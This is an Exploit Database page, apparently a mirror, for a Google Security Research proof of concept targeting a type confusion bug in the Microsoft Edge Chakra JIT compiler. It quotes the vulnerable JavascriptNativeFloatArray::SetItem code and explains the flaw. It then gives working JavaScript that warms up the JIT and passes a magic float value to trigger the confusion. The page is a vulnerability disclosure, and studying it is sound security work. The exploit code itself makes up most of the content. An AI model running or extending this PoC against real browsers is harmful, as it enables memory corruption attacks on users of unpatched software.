Microsoft Edge Chakra JIT – Magic Value Type Confusion

• Exploit Database
• 29 阅读

• 作者： Google Security Research
  日期： 2018-05-22
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44694/

• /*
  BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
  {
  if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
  {
  JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
  varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
  return TRUE;
  }
  
  this->DirectSetItemAt<double>(index, dValue);
  return TRUE;
  }
  
  As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. Since the input value is not checked in the JITed code, it can lead to type confusion.
  */
  
  function opt(arr, value) {
  arr[1] = value;
  arr[0] = 2.3023e-320;
  }
  
  function main() {
  for (let i = 0; i < 0x10000; i++)
  opt([1.1], 2.2);
  
  let arr = [1.1];
  opt(arr, -5.3049894784e-314);// MAGIC VALUE!
  
  print(arr);
  }
  
  main();